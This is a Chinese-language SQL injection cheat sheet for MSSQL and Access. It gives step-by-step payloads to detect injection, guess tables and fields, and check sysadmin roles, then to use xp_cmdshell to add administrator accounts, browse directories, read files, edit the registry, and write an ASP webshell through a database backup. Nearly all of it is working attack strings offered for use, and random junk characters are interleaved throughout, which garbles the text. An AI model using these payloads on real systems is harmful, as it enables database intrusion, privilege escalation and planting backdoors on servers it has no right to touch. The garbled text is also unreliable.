1.判断是否有注入;and 1=1 ;and 1=2 -^a?]`3_v
2.初步判断是否是mssql ;and user>0 &}N=a
srX" vF
3.注入参数是字符'and [查询条件] and ''=' CY{`IZ
%(72+B70R
4.搜索时没过滤参数的'and [查询条件] and '%25'=' =[X..<bW9:
@#wBK3Ut^
5.判断数据库系统 EUxkYl
G?`x$U U
;and (select count(*) from sysobjects)>0 mssql $%*E)~
?$:;hGO.<~
;and (select count(*) from msysobjects)>0 access ,sU#{.(
x^s2bb
Ws_RS%
4d\"gk
6.猜数据库 ;and (select Count(*) from [数据库名])>0 kB`t_`7f
,VtrQb)Yf
7.猜字段 ;and (select Count(字段名) from 数据库名)>0 u2p5*gzZ
=v(MdjwFl
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 "!\O N)l*
@I`X{oAA
9.(1)猜字段的ascii值(access) F.nJXZnJ
g\Gx
oR
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 }4
p3m]
"ZuhN(-`
(2)猜字段的ascii值(mssql) !y1]S .;
IYJS>G%*
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 B5-G.Z
%&D,|Yl6
10.测试权限结构(mssql) /hC[>t<
A
(:7q4
]}K\&ho2
\ow3_^Bk
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- QH_0U`3
a,B2;4"
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- hWzjn5w3
2!6+>nvO
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- O{0TS^
gnAM}
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- }Pu|%\
!^o(?1
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- QQQ3U
OHz>B!`
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- Y}'8`.
M7$ h
;and 1=(select IS_MEMBER('db_owner'));-- ;(]O*{F7k
'Gn-8r+
=44hI86
ul{u^ j
11.添加mssql和系统的帐户 FQV]/
_`Ojh0@00
;exec master.dbo.sp_addlogin username;-- {l /]+8G^
;exec master.dbo.sp_password null,username,password;-- ?dWfupO{
@,b:s+]rp
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- ?DN4j!/$
) h*)_7
;exec master.dbo.xp_cmdshell 'net user username password IW48Sg
a$Lry?pb
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- >a5M:s)
LGxQ>f[V
;exec master.dbo.xp_cmdshell 'net user username password /add';-- r_sZw@lqJ
jU 4*fzsZI
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- (-lu#hJ`&r
Ihe/P {t]J
c|f)k:Q
Bld%d:i
12.(1)遍历目录 S Z@ JzOA
\ 2Jr(?U
;create table dirs(paths varchar(100), id int) AR<'Airi:
+y+-~;5iv
;insert dirs exec master.dbo.xp_dirtree 'c:\' z0@)@4z!
Y0kDHG
;and (select top 1 paths from dirs)>0 0baq696<F
5kwDmJy
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) 4r@dV%:%<
\M]w I
` ,B&oV>
=~Ac=j!q
(2)遍历目录
8&AHu
l:!4^>SC
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--
sFR'y.
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 :U5>. ):
{J:ZM"GS
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 :#M(,S"Qq
7\'ow|)}v
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 mp_(ke
#
;,b4O7@
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 xg'FC/1LD
R5QSf+/T4
RI#Cr+/
|?c
v5l7E
13.mssql中的存储过程 l}>gG[q!
cJ 5":^O
xp_regenumvalues 注册表根键, 子键 E%g_O_
T)o)%Yv
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 %@<}z|.4
&hmyfH&S
xp_regread 根键,子键,键值名 /jI>=:z
buGYHZu
;exec xp_regread 'bP-pgc
1=DUFl.
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 A9lnQCsJ
a#X[V5|6Q
xp_regwrite 根键,子键, 值名, 值类型, 值 P |c6V
e![|-m%
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 dZ UB
CtbmX)vE
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 ?YY'-\h?
$CaF"5}?Ke
xp_regdeletevalue 根键,子键,值名 Sqw.p#
.K(IRWuw
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 3@e#E4+ff
JLT^0wBB
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 i(q%EMf
#vJDb |z
c ?mCt0Cg
PTe8,cD>
14.mssql的backup创建webshell -yt[0
>^%]F[Wo
use model ]|[,N>
^{8r(1,
create table cmd(str image); l]whL1N3
`[V]xP%V
insert into cmd(str) values (''); fZ6lnZ
1btQ[a6j
backup database model to disk='c:\l.asp'; '+BcPB?E
|`9POl=
rmc0dm&l]
?DEj|
i8
15.mssql内置函数 My AS'Ki
$L>tV='
;and (select @@version)>0 获得Windows的版本号 \R45#.
P6X
[QA@XBy6
;and user_name()='dbo' 判断当前系统的连接用户是不是sa M xUj7ae
gW'aK>*c
;and (select user_name())>0 爆当前系统的连接用户 ']1j Mn
I,D24W4l
;and (select db_name())>0 得到当前连接的数据库 JB(~O`
Kx?3 ]
%^xY7!{
j,QeL
16.简洁的webshell > Zo_-,
),5^b l/
use model %qRbl4
HF}%Ow
create table cmd(str image); U<fe 'd
Pq`]^^=be'
insert into cmd(str) values (''); 'mj0+c$
b Mi,z3z
backup database model to disk='g:\wwwtest\l.asp';